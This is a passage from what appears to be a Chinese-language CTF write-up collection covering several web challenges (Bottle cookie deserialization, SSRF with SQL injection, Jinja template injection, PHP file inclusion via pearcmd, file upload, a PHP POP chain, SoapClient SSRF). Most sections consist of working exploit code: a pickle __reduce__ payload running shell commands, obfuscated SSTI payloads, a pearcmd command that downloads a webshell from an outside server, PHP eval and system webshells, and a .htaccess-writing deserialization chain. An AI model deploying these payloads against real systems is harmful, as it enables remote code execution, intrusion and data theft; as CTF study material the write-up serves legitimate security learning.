    secret = f.read()

app = Bottle()
@route('/')
def index():
    return '''HI'''
@route('/download')
def download():
    name = request.query.filename
    if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:
        response.status = 403
        return 'Forbidden'
    with open(name, 'rb') as f:
        data = f.read()
    return data

@route('/secret')
def secret_page():
    try:
        session = request.get_cookie("name", secret=secret)
        if not session or session["name"] == "guest":
            session = {"name": "guest"}
            response.set_cookie("name", session, secret=secret)
            return 'Forbidden!'
        if session["name"] == "admin":
            return 'The secret has been deleted!'
    except:
        return "Error!"
run(host='0.0.0.0', port=8080, debug=False)



代码审计了一下,

首先访问/download?filename=./.././../secret.txt 可以拿到秘钥,filename中不能出现../../ 也不能出现./ 或../开头 也不能出现\ 某些文件系统会忽略 .//./,但仍然能向上跳转目录

拿到秘钥后

Hell0_H@cker_Y0u_A3r_Sm@r7

image-20250405135403367

之后访问/secret ,它会识别你的cookie中的name值是admin还是guest ,默认是guest,你可以把他改为admin

cookie长这样

image-20250405135610842

!4SSvdzbD0UYv84Lnpmm1VLtPBddCrvhgQOLkNQbhjek=?gAWVGQAAAAAAAABdlCiMBG5hbWWUfZRoAYwFZ3Vlc3SUc2Uu

这是python的bottle框架生成cookie的方式,分为两部分,!开头的是签名,以?为分隔符,后面的是数据部分

数据部分是python序列化后且base64编码的(gA开头) 。

bottle的cookie_decode()会进行反序列化,也就是这里的get_cookie,

get_cookie原理

def get_cookie(self, key, default=None, secret=None):
        """ Return the content of a cookie. To read a `Signed Cookie`, the
            `secret` must match the one used to create the cookie (see
            :meth:`BaseResponse.set_cookie`). If anything goes wrong (missing
            cookie or wrong signature), return a default value. """
        value = self.cookies.get(key)
        if secret and value:
            dec = cookie_decode(value, secret) # (key, value) tuple or None
            return dec[1] if dec and dec[0] == key else default
        return value or default

跟进一下cookie_decode的function, cookie_decode()竟然直接調用了pickle.loads去deserialize cookie

def cookie_decode(data, key):
    ''' Verify and decode an encoded string. Return an object or None.'''
    data = tob(data)
    if cookie_is_encoded(data):
        sig, msg = data.split(tob('?'), 1)
        if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())):
            return pickle.loads(base64.b64decode(msg))
    return None

一看到这,我的思路就是通过秘钥修改cookie中的数据部分,把数据部分改成一个由魔术方法__reduce__(self)控制的反弹shell,发过去,对方接受后会进行反序列化,然后触发reduce方法,就能反弹shell了

改为admin的exp

import base64
import pickle
import hmac
import hashlib
from binascii import b2a_base64

def tob(s, enc='utf8'):
    """Convert to bytes"""
    return s.encode(enc) if isinstance(s, str) else s

def cookie_encode(data, key):
    """Bottle的Cookie签名实现"""
    msg = base64.b64encode(pickle.dumps(data, -1))
    sig = b2a_base64(hmac.new(tob(key), msg, digestmod=hashlib.sha256).digest()).strip()
    return tob('!') + sig + tob('?') + msg

# 配置
secret = "Hell0_H@cker_Y0u_A3r_Sm@r7"  # 可以是str或bytes
original_data = ['name', {'name': 'guest'}]

# 1. 修改数据为admin
modified_data = original_data.copy()
modified_data[1]['name'] = 'admin'  # 修改为admin

# 2. 生成新Cookie
new_cookie = cookie_encode(modified_data, secret)

# 3. 输出结果(转换为字符串)
print("新的有效Cookie:", new_cookie.decode('utf-8'))

admin的身份

!Q2i4b0GcN4AM+eI0/Br6YuNIftiqf3hm53bC67S2HUM=?gAWVGQAAAAAAAABdlCiMBG5hbWWUfZRoAYwFYWRtaW6Uc2Uu

​ response.set_cookie的原理

... # bla bla bla
if not self._cookies:
    self._cookies = SimpleCookie()

if secret:
    value = touni(cookie_encode((name, value), secret))
... # bla bla bla

跟进一下cooke_encode的原理,它会pickle.dumps序列化data

def cookie_encode(data, key):
    ''' Encode and sign a pickle-able object. Return a (byte) string '''
    msg = base64.b64encode(pickle.dumps(data, -1))
    sig = base64.b64encode(hmac.new(tob(key), msg).digest())
    return tob('!') + sig + tob('?') + msg

exp ,这个题不出网,你反弹不了shell,也dnslog外带不了

import bottle

secret = "Hell0_H@cker_Y0u_A3r_Sm@r7"


class Exploit:
    def __reduce__(self):
        return eval, ('''__import__("os").system("cat /flag_* > flag111.txt")''',)


expl = Exploit()
exp = bottle.cookie_encode(['name', {"name": expl}], secret)
print('"' + exp.decode() + '"') #exp.decode() 是将 exp(一个 bytes 字节串)解码成 字符串(str) 的过程。

image-20250405160213166

image-20250405160151145

fate

这部分改编自CakeCTF 2023的country-db

原题为:

#!/usr/bin/env python3
import flask
import sqlite3

app = flask.Flask(__name__)

def db_search(code):
    with sqlite3.connect('database.db') as conn:
        cur = conn.cursor()
        cur.execute(f"SELECT name FROM country WHERE code=UPPER('{code}')")
        found = cur.fetchone()
    return None if found is None else found[0]

@app.route('/')
def index():
    return flask.render_template("index.html")

@app.route('/api/search', methods=['POST'])
def api_search():
    req = flask.request.get_json()
    if 'code' not in req:
        flask.abort(400, "Empty country code")

    code = req['code']
    if len(code) != 2 or "'" in code:
        flask.abort(400, "Invalid country code")

    name = db_search(code)
    if name is None:
        flask.abort(404, "No such country")

    return {'name': name}

if __name__ == '__main__':
    app.run(debug=True)

一个拥有几乎不可能绕过的waf的SQL注入题。

我们可以看到,这题是利用flask.request.get_json()进行传参,这个方法没有对传入的类型做检查。因此,我们可以传入非字符串类型的变量。

而在python中,当我们使用f-string直接传入非字符串参数时,就会被强转为字符串。

如下:

img

这也被称为python格式化字符串漏洞

因此,这题可以这样解:我传入一串json数据进去,数据里面code的值是个列表

{"code":["1') UNION SELECT FLAG FROM FLAG --","1"]}  #首先,因为code是个列表,所有列表里面需要有元素,而此列表我填入了两个元素,都是字符串类型的,一个是 "1') UNION SELECT FLAG FROM FLAG --" 
另一个是"1",   再拼接进sql语句中, '与前面的'完成闭合,然后写我的union语句 union select FLAG from FLAG -- ,--用来注释后面的东西 ;解释一下为什么列表里面还要有"1",因为waf检测code的值的长度要为

传入的code为列表,因而可以通过waf(len为2,没有'元素)随后直接被f-string强转,直接把code的值原型插入sql语句,拼入sql语句,如下:

SELECT name FROM country WHERE code=UPPER('["1') UNION SELECT FLAG FROM FLAG --","1"]')

再来看本题:

本题多了一个考点SSRF中URL二次编码绕过

docker-compose up -d 是一个 Docker Compose 命令,用于在后台运行(detached 模式)由 docker-compose.yml 文件定义的多容器应用

给了一些源码:

app.py

#!/usr/bin/env python3
import flask
import sqlite3
import requests
import string
import json
app = flask.Flask(__name__)
blacklist = string.ascii_letters
def binary_to_string(binary_string):
    if len(binary_string) % 8 != 0:
        raise ValueError("Binary string length must be a multiple of 8")
    binary_chunks = [binary_string[i:i+8] for i in range(0, len(binary_string), 8)]
    string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks)
    
    return string_output

@app.route('/proxy', methods=['GET'])
def nolettersproxy():
    url = flask.request.args.get('url')
    if not url:
        return flask.abort(400, 'No URL provided')
    
    target_url = "http://lamentxu.top" + url
    for i in blacklist:
        if i in url:
            return flask.abort(403, 'I blacklist the whole alphabet, hiahiahiahiahiahiahia~~~~~~')
    if "." in url:
        return flask.abort(403, 'No ssrf allowed')
    response = requests.get(target_url)

    return flask.Response(response.content, response.status_code)
def db_search(code):
    with sqlite3.connect('database.db') as conn:
        cur = conn.cursor()
        cur.execute(f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}')))))))")
        found = cur.fetchone()
    return None if found is None else found[0]

@app.route('/')
def index():
    print(flask.request.remote_addr)
    return flask.render_template("index.html")

@app.route('/1337', methods=['GET'])
def api_search():
    if flask.request.remote_addr == '127.0.0.1':
        code = flask.request.args.get('0')
        if code == 'abcdefghi':
            req = flask.request.args.get('1')
            try:
                req = binary_to_string(req)
                print(req)
                req = json.loads(req) # No one can hack it, right? Pickle unserialize is not secure, but json is ;)
            except:
                flask.abort(400, "Invalid JSON")
            if 'name' not in req:
                flask.abort(400, "Empty Person's name")

            name = req['name']
            if len(name) > 6:
                flask.abort(400, "Too long")
            if '\'' in name:
                flask.abort(400, "NO '")
            if ')' in name:
                flask.abort(400, "NO )")
            """
            Some waf hidden here ;)
            """

            fate = db_search(name)
            if fate is None:
                flask.abort(404, "No such Person")

            return {'Fate': fate}
        else:
            flask.abort(400, "Hello local, and hello hacker")
    else:
        flask.abort(403, "Only local access allowed")

if __name__ == '__main__':
    app.run(debug=True)

通过init_db.py我们可以知道。flag在LamentXU对应的值里。但是LamentXU的长度>6,因此不能直接查询。

Fate = [
    ('JOHN', '1994-2030 Dead in a car accident'),
    ('JANE', '1990-2025 Lost in a fire'),
    ('SARAH', '1982-2017 Fired by a government official'),
    ('DANIEL', '1978-2013 Murdered by a police officer'),
    ('LUKE', '1974-2010 Assassinated by a military officer'),
    ('KAREN', '1970-2006 Fallen from a cliff'),
    ('BRIAN', '1966-2002 Drowned in a river'),
    ('ANNA', '1962-1998 Killed by a bomb'),
    ('JACOB', '1954-1990 Lost in a plane crash'),
    ('LAMENTXU', r'2024 Send you a flag flag{fake}')
]

思路就是,通过访问/proxy路由访问内网下面的/1337,也就是SSRF。1337路由那还要加个端口8080

image-20250405200738213

/proxy会请求这个 target_url = "http://lamentxu.top" + url ,url参数不能出现字母和点,

所以127.0.0.1用十进制绕过url=url=@2130706433:8080/1337 ,

即target_url =http://lamentxu.top@2130706433:8080/1337 ,它照样会请求127.0.0.1:8080/1337

参数0和1的值也不能出现点和字母,0要等于abcdefghi ,

  • abcdefghi 先转换为 URL 编码,其实就是%加上它的ascii编码:%61%62%63%64%65%66%67%68%69
  • 再对 % 符号进行二次编码:%25 → 最终得到全数字形式:
    0=%2561%2562%2563%2564%2565%2566%2567%2568%2569

在 Python 中,json.loads() 方法将一个JSON格式的字符串转换为Python字典

image-20250414153235793

为了让json这部分更明显甚至去除了flask.request.get_json()而是使用了json.loads(),甚至标了注释。题目到这里应该是变得比较简单了

在SQL语句中,UPPER() 是一个字符串函数,用于将指定的字符串或字段值转换为大写字母

首先看SSRF部分。

1.在前面加入lamentxu.top,这个可以用@来绕过。
2.禁止了所有字母和.,那么我们使用2130706433来表示127.0.0.1。(也就是用十进制来表示)

3.必须要传入参数0为abcdef。使用二次URL编码绕过。

接下来就是SQL注入部分

使用上文提到的办法即可,但是这里限制了列表和元组,使用字典。

传入数据为:

{"name":{"'))))))) UNION SELECT FATE FROM FATETABLE WHERE NAME='LAMENTXU' --":1}}
#解释一下payload,首先需要一个json数据{"name":{xxx}},源代码中通过name = req['name']获取name字段的值{"'))))))) UNION SELECT FATE FROM FATETABLE WHERE NAME='LAMENTXU' --":1}赋给name,接着检测name的值长度是否大于6,name的值其实也是一个字典,对于任何一个字典像这样的字段{"xxx":1},他的长度是1,所以可以绕过长度限制。

image-20250414153955821

源码中req = json.loads(req) 需要我们传入json数据,且数据中需要有name字段,所有我们传的是json中要得时name

req = binary_to_string(req)
print(req)
req = json.loads(req)

if 'name' not in req:
flask.abort(400, "Empty Person's name")

name = req['name'] # 从字典中获取键为 'name' 的值

然后把name放入sql中

拼接后的sql语句为

SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{"'))))))) UNION SELECT FATE FROM FATETABLE WHERE NAME='LAMENTXU' --":1}')))))))

即可成功注入。

接下来将传入的数据编码,因为app.py中,对我们传入的参数1,进行了二进制转字符串,所以我们传进去的必须为二进制类型的。

对方的binary_to_string函数

def binary_to_string(binary_string):
    if len(binary_string) % 8 != 0:
        raise ValueError("Binary string length must be a multiple of 8")
    binary_chunks = [binary_string[i:i + 8] for i in range(0, len(binary_string), 8)]
    string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks)

    return string_output

那我们自己生产个互补的函数string_to_binary

def string_to_binary(input_string):
    """
    将字符串转换为 8 位二进制字符串(每个字符对应 8 位二进制)

    参数:
        input_string (str): 输入字符串(如 "Hello" 或 SQL 语句)

    返回:
        str: 二进制字符串(如 "0100100001100101")
    """
    # 对每个字符:获取 Unicode 码点 → 转为 8 位二进制 → 拼接结果
    binary_string = ''.join([format(ord(char), '08b') for char in input_string])
    return binary_string
# 测试示例
if __name__ == "__main__":
    # 正常字符串测试
    text = "hello"
    binary = string_to_binary(text)
    print(f"字符串 '{text}' 的二进制表示:\n{binary}")  # 输出: 0100100001100101011011000110110001101111
  

#在Python中,三个连续的双引号(""")有两个主要用途:多行注释和定义多行字符串

最终payload

GET /proxy?url=@2130706433:8080/1337?1=011110110010001001101110011000010110110101100101001000100011101001111011001000100010011100101001001010010010100100101001001010010010100100101001001000000101010101001110010010010100111101001110001000000101001101000101010011000100010101000011010101000010000001000110010000010101010001000101001000000100011001010010010011110100110100100000010001100100000101010100010001010101010001000001010000100100110001000101001000000101011101001000010001010101001001000101001000000100111001000001010011010100010100111101001001110100110001000001010011010100010101001110010101000101100001010101001001110010000000101101001011010010001000111010001100010111110101111101%260=%2561%2562%2563%2564%2565%2566%2567%2568%2569

100%的⚪

打开源代码,发现网页的分数显示跟{score}有关,可能当{score}的值变为100分,就会弹出flag

image-20250302192239114

搜索score,发现一串base64,

image-20250302192007219

解码后得到flag

image-20250302192042814

ez_http

image-20250302201002730

SecretInDrivingSchool

1.打开源代码发现后台地址

image-20250302201434624

2.打开后台的源代码

image-20250302201805004

3,测试惯用管理员账号admin,发现密码错误,说明账号存在;且由上图发现,密码为xxx+@chengxing。用bp爆破即可

image-20250302201901744

image-20250302204830780

image-20250302204903267

image-20250302204802654

image-20250302205939041

image-20250302210000485

rce_me

第一关

if (!is_array($_POST["start"])) {
    if (!preg_match("/start.*now/is", $_POST["start"])) {
        if (strpos($_POST["start"], "start now") === false) {
            die("Well, you haven't started.<br>");
        }
    }
} 

!preg_match("/start.\*now/is", $_POST["start"])

  • 使用正则表达式检查 $_POST["start"] 是否包含 "start""now",且两者之间可以有任意字符(.*)。
  • 正则表达式解释:
    • /start.*now/is
      • start:匹配字符串 "start"
      • .*:匹配任意字符(包括空字符)零次或多次。
      • now:匹配字符串 "now"
      • i:忽略大小写。
      • s:使 . 匹配包括换行符在内的所有字符。

strpos($_POST["start"], "start now") === false

  • 检查 $_POST["start"] 是否包含完整的字符串 "start now"
  • strpos 返回子字符串的位置,如果未找到则返回 false
  • 如果未找到 "start now",输出错误信息并终止程序

只需post传参start=start now即可

第二关

if (
    sha1((string) $_POST["__2024.geekchallenge.ctf"]) == md5("Geekchallenge2024_bmKtL") &&
    (string) $_POST["__2024.geekchallenge.ctf"] != "Geekchallenge2024_bmKtL" &&
    is_numeric(intval($_POST["__2024.geekchallenge.ctf"]))
) {
    echo "You took the first step!<br>";

问题:PHP 在解释变量名时出现 空格 时会将它们转换成下划线,不能直接传参

解决:当PHP版本小于8时,如果参数中出现中括号 [ ,中括号会被转换成下划线_,但是会出现转换错误导致接下来如果该参数名中还有非法字符并不会继续转换成下划线_,也就是说如果中括号 [出现在前面,那么中括号 [ 还是会被转换成下划线_,但是因为出错导致接下来的非法字符并不会被转换成下划线_,即只替换一次

查看 Geekchallenge2024_bmKtL 的 md5 值注意到是 0e 开头的 (0e073277003087724660601042042394),而且判断是弱类型比较,考虑找到一个值使得其 sha1 值也为 0e 开头,松散判断会把它们转换成科学计数法,即 0 的 n 次方,其结果为 True。于是此时 POST 参数:start=start now&_[2024.geekchallenge.ctf=aaroZmOk

_[2024.geekchallenge.ctf传过去就相当于变成了__2024.geekchallenge.ctf ,这刚好是题目所需要的变量名,

aaroZmOk进行sha1加密后是0e开头的

第三关

foreach ($_GET as $key => $value) {
        $$key = $value;
    } //将 $_GET 中的参数动态赋值给变量(例如 $year 和 $purpose)
	//接收任意 GET 参数并且转为变量

if (intval($year) < 2024 && intval($year + 1) > 2025) {
        echo "Well, I know the year is 2024<br>";

        if (preg_match("/.+?rce/ism", $purpose)) {
            die("nonono");
        }

        if (stripos($purpose, "rce") === false) {
            die("nonononono");
        }
        echo "Get the flag now!<br>";
        eval($GLOBALS['code']);
        
         

添加查询参数 year=2023e2,,e2 代表科学计数法,所以 2023e2 + 1 的结果是 2023乘10的平方+1,而

intval(2023e2)会进行截断处理,结果是2023;但intval(2023e2+1)的结果是intval(202301),结果是202301

preg_match("/.+?rce/ism", $purpose)
注解:
        /.+?rce/
        .:匹配任意单个字符(除换行符外)。
        +?:表示前面的字符(.)出现一次或多次,但使用“非贪婪模式”(尽可能少地匹配字符)。
        rce:匹配字符串 "rce"。
    组合起来:.+?rce 匹配任意字符(至少一个字符)后跟 "rce"。
    修饰符
        i:不区分大小写。例如,"RCE" 和 "rce" 都会被匹配。
        s:允许 . 匹配换行符。默认情况下,. 不匹配换行符。
        m:多行模式,允许 ^ 和 $ 匹配每一行的开头和结尾,而不仅仅是整个字符串的开头和结尾。

添加参数purpose=rce

添加参数code=system("cat /flag");

Can_you_Pass_Me

{% %}` 代替 `{{ }}
print 输出表达式的值
|attr()代替成员运算符从而可以将属性写成字符串来调用
getitem绕过中括号
十六进制替换关键词

正常payload
{{''.__class__.__base__.__subclasses__()[105].__init__.__globals__['__builtins__']['eval']('__import__('os').popen('cat /etc/passwd').read()')}}


绕过payload,利用103号的那个类 <class '_frozen_importlib._ModuleLock'> 
{% print ''|attr('__cl\x61ss__') |attr('__b\x61se__')|attr('__subcl\x61sses__')()|attr('__\x67etitem__')(103)|attr('__\x69nit__')|attr('__glob\x61ls__')|attr('__\x67etitem__')('__import__')('subprocess')|attr('\x67etoutput')('env|b\x61se64') %}


讲绕过的payload传入发现,不让回显;但讲ls传入,发现还有个app.py文件

app.py文件

import random
import re
import os
from flask import Flask, render_template, request, render_template_string

app = Flask(__name__, static_folder='static')

blackList = [
    '/', 'flag', '+', 'base', '__builtins__', '[', 'cycler', 'set', '{{',
    'class', 'config', 'os', 'popen', 'request', 'session', 'self',
    'current_app', 'get', '__globals__', '+', ':', '__globals__', '__init__',
    '__loader__', '_request_ctx_stack', '_update', 'add', 'after_request', 'read'
]

def sanitize_inventory_sold(value):
    sanitized_value = str(value).lower()
    print(sanitized_value)
    for term in blackList:
        if term in sanitized_value:
            print(term)
            return render_template('waf.html')
    return sanitized_value

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/submit', methods=['GET', 'POST'])
def submit():
    if request.method == 'GET':
        return render_template('index.html')
    else:
        name = request.form.get("name")
        template = sanitize_inventory_sold(name)
        res = render_template_string(template)
        env = str(open("/flag").read()) //打开文件 /flag,读取其内容,并将内容转换为字符串并赋值给env变量
        if env in res:
            return "好像不能这样出现在这里"
        return "welcome to SycLover 2024 " + res

if __name__ == '__main__':
    app.run(debug=False, port=80)

问题 :如果你是cat /flag,则env变量里面的内容就是flag文件的内容;而res里的内容就是flag的内容,所以如果你是cat /flag,则就会return "好像不能这样出现在这里"。既然不能直接 读flag,那我读一下环境变量,发现也是 return "好像不能这样出现在这里",所以环境变量的内容就跟flag文件的内容是一样的,那么我可以执行env ,将其编码回显即可

方法二

使用焚靖一把梭

image-33-1024x589

image-34

cat /proc/1/environ 是一个在 Linux 系统中使用的命令,用于查看进程 ID 为 1 的进程的环境变量。
解释:

    /proc 文件系统:
        /proc 是 Linux 系统中的一个虚拟文件系统,它以文件的形式提供了系统和进程的信息。
        每个进程在 /proc 下都有一个以进程 ID 命名的目录(例如 /proc/1)。
    environ 文件:
        在每个进程的 /proc/<PID> 目录下,environ 文件包含了该进程的环境变量。
        这些环境变量是进程启动时从父进程继承的,或者由进程自身设置的。
    cat 命令:
        cat 是一个常用的 Linux 命令,用于输出文件的内容。

ez_include

题目

<?php
highlight_file(__FILE__);
require_once 'starven_secret.php';
if(isset($_GET['file'])) {
    if(preg_match('/starven_secret.php/i', $_GET['file'])) {
        require_once $_GET['file'];
    }else{
        echo "还想非预期?";
    }
}

可以在包含时用过滤器,但是之前已经有一个 require_once,需要绕过 /proc/self 指向当前进程的 /proc/pid//proc/self/root/ 是指向 / 的符号链接,可用伪协议配合多级符号链接的办法进行绕过

payload

?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/starven_secret.php

image-20250303210348938

又给一串源码

<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_GET ["syc"])){
    $file = $_GET ["syc"];
    $hint = "register_argc_argv = On";
    if (preg_match("/config|create|filter|download|phar|log|sess|-c|-d|%|data/i", $file)) {
        die("hint都给的这么明显了还不会做?");
    }
    if(substr($_SERVER['REQUEST_URI'], -4) === '.php'){
        include $file;
    }
}

$_SERVER['REQUEST_URI'] :假设用户访问的 URL 是:
http://example.com/path/to/page.php?query=123
那么 $_SERVER['REQUEST_URI'] 的值将是:
/path/to/page.php?query=123

hint 说 register_argc_argv = Onphp.ini 中这个值为 on 时 php 会注册 argcargv 两个全局变量,并且可以从 $_SERVER['argv'] 中获取到这些值

可以利用 pear 会获取 $argv 作为命令参数的特性从指定 URL 下载 shell

当 URI 末尾为 ?a=1&b=2$_SERVER['argv'] 的值为 (var_dump 输出)

array(1) { [0] => string(7) "a=1&b=2" }

PHP

该变量是对查询字符串以 + 号进行切割,而不是 &,所以如果要传入多个参数,它们之间应当以加号分隔

Pear(the PHP Extension and Application Repository)是一个 PHP 扩展及应用的一个代码仓库 实际上 pear 命令是 sh 脚本,其中会通过 php 调用 pearcmd.php,它里面的 $argv 是通过调用 Console/Getopt.phpConsole_Getopt::readPHPArgv() 来的,此静态方法通常会返回 $_SERVER['argv'] (当 register_argc_argv = on 时) 因此可以通过包含 pearcmd.php 与操控 $_SERVER['argv'] 来执行pear命令并指定一些参数

准备一个可下载的 shell.php <?php system($_GET['cmd']);?> 利用 pearcmd.php 远程下载 webshell

payload (使用 & 分隔 GET 参数)

?syc=/usr/local/lib/php/pearcmd.php&+install+-R+/var/www/html+http://<server_ip>/shell.php

相当于执行命令

pear install -R /var/www/html http://<server_ip>/shell.php

Shell

结果:

downloading shell.php ... Starting to download shell.php (29 bytes) ....done: 29 bytes Could not get contents of package "/var/www/html/tmp/pear/download/shell.php". Invalid tgz file. Download of "http://<server_ip>/shell.php" succeeded, but it is not a valid package archive Invalid or missing remote package file install failed

转到指定路径并提供 GET 参数即可 getshell,执行 env 拿到 flag

/tmp/pear/download/shell.php?cmd=env

方法二

使用 pearcmd 进行写入木马

/levelllll2.php?syc=/usr/local/lib/php/pearcmd.php&+config-create+/<?=@eval($_POST['shell']);?>+/var/www/html/shell.php

一定要抓包把被转义的字符改回来

image-31-1024x364

image-32-1024x600

baby_upload

文件上传,抓包,尝试发现只判断了第一次出现的 .php,双写绕过:

------WebKitFormBoundaryIGjO2RImoANGbOwZ
Content-Disposition: form-data; name="upload_file"; filename="1.php"
Content-Type: image/jpeg

<?php system($_GET[x]);
------WebKitFormBoundaryIGjO2RImoANGbOwZ
Content-Disposition: form-data; name="name"

x.php.php
------WebKitFormBoundaryIGjO2RImoANGbOwZ
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryIGjO2RImoANGbOwZ--

再访问 uploads/x.php.php?x=cat /flag 得到flag。

Problem_On_My_Web

有一个让后台访问的功能可以传url参数

20241026235058-17acd6f6-93b2-1

image-20250304124108289

但是打进去后没有显示

image-20250304124123225

打开该页的源代码发现还是插进去了的

image-20250304124200138

还有个功能点穿url参数,发现多点了几遍发现报错了

image-20250304124237488

发现报错点竟然有flag(应该是留言板的那个页面的js被解析出来了)

image-20250304124309953

方法二

打入下面xss

服务器监听

image-20250304130156114

再去访问/manager,提交参数url=http://127.0.0.1,执行该js代码

方法三:

打入下面xss,让flag回显再留言板上

再访问/manager,提交参数url=http://127.0.0.1,执行该js代码,报错页面就有flag

ezpop

题目源代码:

 <?php
Class SYC{
    public $starven;
    public function __call($name, $arguments){
        if(preg_match('/%|iconv|UCS|UTF|rot|quoted|base|zlib|zip|read/i',$this->starven)){
            die('no hack');
        }
        file_put_contents($this->starven,"<?php exit();".$this->starven);
    }
}

Class lover{
    public $J1rry;
    public $meimeng;
    public function __destruct(){
        if(isset($this->J1rry)&&file_get_contents($this->J1rry)=='Welcome GeekChallenge 2024'){
            echo "success";
            $this->meimeng->source;
        }
    }

    public function __invoke()
    {
        echo $this->meimeng;
    }

}

Class Geek{
    public $GSBP;
    public function __get($name){
        $Challenge = $this->GSBP;
        return $Challenge();
    }

    public function __toString(){
        $this->GSBP->Getflag();
        return "Just do it";
    }

}

if($_GET['data']){
    if(preg_match("/meimeng/i",$_GET['data'])){
        die("no hack");
    }
   unserialize($_GET['data']);
}else{
   highlight_file(__FILE__);
}


#链子,要想触发call,就得调用不存在的方法,Geek里面的Getflag()就是个不存在的方法,所以$this->GSBP=new SYC(),那得得触发toString,那么Geek类的对象就得被当做字符串使用,echo对象的功能在lover类里面($this->meimeng就得等于new Geek(),要想echo对象,就得触发invoke函数,要想触发invoke,就得让lover的对象被当成函数用,那么可以让Geek类里面的$Challenge的值为lover的对象,也就是$this->GSBP=new lover(),那么就得触发get(),要想触发Geek里的get(),就得让Geek的对象调用不存在的属性,也就是在lover类里面$this->meimeng->source中,$this->meimeng=new Geek(),那么就得调用destruct,也就是得反序列化lover类


前置知识:

__call():调用不存在的方法时触发
__invoke():把对象当函数使用时触发
__get():调用的成员属性不存在
__toString():把对象当字符串来用

要在 GET data 变量填序列化字符串,不能包含 meimeng 看起来是要利用 file_put_contents() 写一些东西到服务器上

在反序列化前有一个正则过滤,可以采用十六进制绕过,即把 meimeng 其中一个字符换成十六进制表示 (m: \6d),把前面的 s 换成 S,这样反序列化时就会解析下文的十六进制表示式

然后就是反序列化,pop 链的代码执行过程及思路写在上面注释里

然后到了 file_put_contents() 这里,文件写入前还加个死亡退出,如果要写 shell 需要绕过这个。一般来说可以采用 php://filter,把写入内容过滤一遍,把原来的 exit 变成别的东西,并复原出编码过的恶意代码

不过这里文件名和内容是同一个变量,要想写一些恶意代码可以利用 php://filter 支持多个过滤器的特性,而且用 php://filter ⾯对不可⽤的规则是报个 Warning,然后跳过继续执行。因此可以将恶意代码写在过滤器的位置,与其他部分用 | 隔开

然而大部分过滤器关键词都被过滤了,包括二次编码用到的 % 也被过滤了。翻遍官方文档,看起来可以利用的还剩 string.strip_tags,但是会把自己写的 php 代码也过滤掉

于是考虑写其他能够影响服务器的东西,而非 php 代码,比如 .htaccess 既然题目说 flag 在 /flag 下,那么可以用 php_value auto_prepend_file '/flag' 使得服务器执行 php 脚本前把 flag 包含进来

需要注意是,file_put_contents() 第二个参数拼接 exit 代码没有闭合 <?php,所以string.strip_tags 会把后面全部内容 filter 掉,可以在构造写入内容时在前面写个 ?> 手动闭合

在后面加个 \n 换行,同时加上 # 注释符,使得 |/resource=.htaccess 写到下一行,并且服务器解析时会忽略这一行

exp:

<?php
Class SYC{
    public $starven;

}

Class lover{
    public $J1rry;
    public $meimeng;

}

Class Geek{
    public $GSBP;

}

// 把最后一个 s 及其字符串中的第一个 m 替换
function replace($str) {
    $last_s_pos = strrpos($str, 's');
    if ($last_s_pos !== false) {
        $str = substr_replace($str, 'S', $last_s_pos, 1);
        $first_m_pos = strpos($str, 'm', $last_s_pos);
        if ($first_m_pos !== false) {
            $str = substr_replace($str, '\6d', $first_m_pos, 1);
        }
    }
    return $str;
}


$SYC = new SYC();
$lover = new lover();
$Geek = new Geek();

$lover->J1rry = $Geek;
$Geek->GSBP = $SYC;
$SYC->starven = "php://filter/write=string.strip_tags|?>php_value auto_prepend_file '/flag'\n#|/resource=.htaccess";

$a = serialize($lover);
$a = replace($a);
echo urlencode($a) ."<br>";

ez_SSRF

前置知识:

PHP中的SoapClient类

我们可以设置第一个参数为null,然后第二个参数的location选项设置为target_url,如下

<?php
$a = new SoapClient(null, array('location' => "http://xxx.xxx.xxx",
                                     'uri'      => "123"));
echo serialize($a);
?>

当把上述脚本得到的序列化串进行反序列化(unserialize),并执行一个SoapClient没有的成员函数时,会自动调用该类的__Call方法,然后向target_url发送一个soap请求,并且uri选项是我们可控的地方。

CRLF Injection

CRLF是”回车 + 换行”(\r\n)的简称。在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLF Injection又叫HTTP Response Splitting,简称HRS。

题目:

页面只有一句话,没找到其他线索 (除了请求头可以看到 PHP 版本),先用一些工具扫一下网站

使用 dirsearch 扫到目录下有一个 www.zip,下载解压是 3 个 .php 文件,其中 2 个有一些代码,另一个只是输出那句话的 index.php

<?php
$admin="aaaaaaaaaaaadmin";
$adminpass="i_want_to_getI00_inMyT3st";

function check($auth) {
    global $admin,$adminpass;
    $auth = str_replace('Basic ', '', $auth);
    $auth = base64_decode($auth);
    list($username, $password) = explode(':', $auth);
    echo $username."<br>".$password;
    if($username===$admin && $password===$adminpass) {
        return 1;
    }else{
        return 2;
    }
}
if($_SERVER['REMOTE_ADDR']!=="127.0.0.1"){
    exit("Hacker");
}
$expression = $_POST['expression'];
$auth=$_SERVER['HTTP_AUTHORIZATION'];
if(isset($auth)){
    if (check($auth)===2) {
        if(!preg_match('/^[0-9+\-*\/]+$/', $expression)) {
            die("Invalid expression");
        }else{
            $result=eval("return $expression;");
            file_put_contents("result",$result);
        }
    }else{
        $result=eval("return $expression;");
        file_put_contents("result",$result);
    }
}else{
    exit("Hacker");
}

h4d333333.php

<?php
error_reporting(0);
if(!isset($_POST['user'])){
    $user="stranger";
}else{
    $user=$_POST['user'];
}

if (isset($_GET['location'])) {
    $location=$_GET['location'];
    $client=new SoapClient(null,array(
        "location"=>$location,
        "uri"=>"hahaha",
        "login"=>"guest",
